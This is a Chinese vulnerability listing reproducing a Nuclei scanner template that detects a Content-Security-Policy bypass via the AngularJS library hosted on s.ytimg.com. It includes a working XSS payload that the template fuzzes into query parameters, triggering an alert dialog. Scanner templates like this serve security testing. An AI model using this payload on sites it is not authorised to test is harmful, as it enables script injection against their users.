ytimg-s-csp-bypass: Content-Security-Policy Bypass - YTImg S

日期: 2025-08-01 | 影响软件: YTImg S | POC: 已公开

漏洞描述

PoC代码[已公开]

id: ytimg-s-csp-bypass

info:
  name: Content-Security-Policy Bypass - YTImg S
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,ytimg-s,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "ytimg.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: ytimg_s_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - <body ng-app ng-csp><script src="https://s.ytimg.com/yts/jslib/angular.min-vfl8oYsy-.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "ytimg_s_csp_xss == true"
# digest: 490a00463044022046e0e76b139d1eb9ba2df3042a4cc0d667285721bd490f191f479762e5f8da8f02204b28bd86068678e95c61ef30c92555bc86504d5ca8afb1cf121e6d2eccc94bf6:922c64590222798bb761d5b6d8e72950
来源: https://github.com/projectdiscovery/nuclei-templates/blob/main/dast/vulnerabilities/xss/csp-bypass/ytimg-s-csp-bypass.yaml

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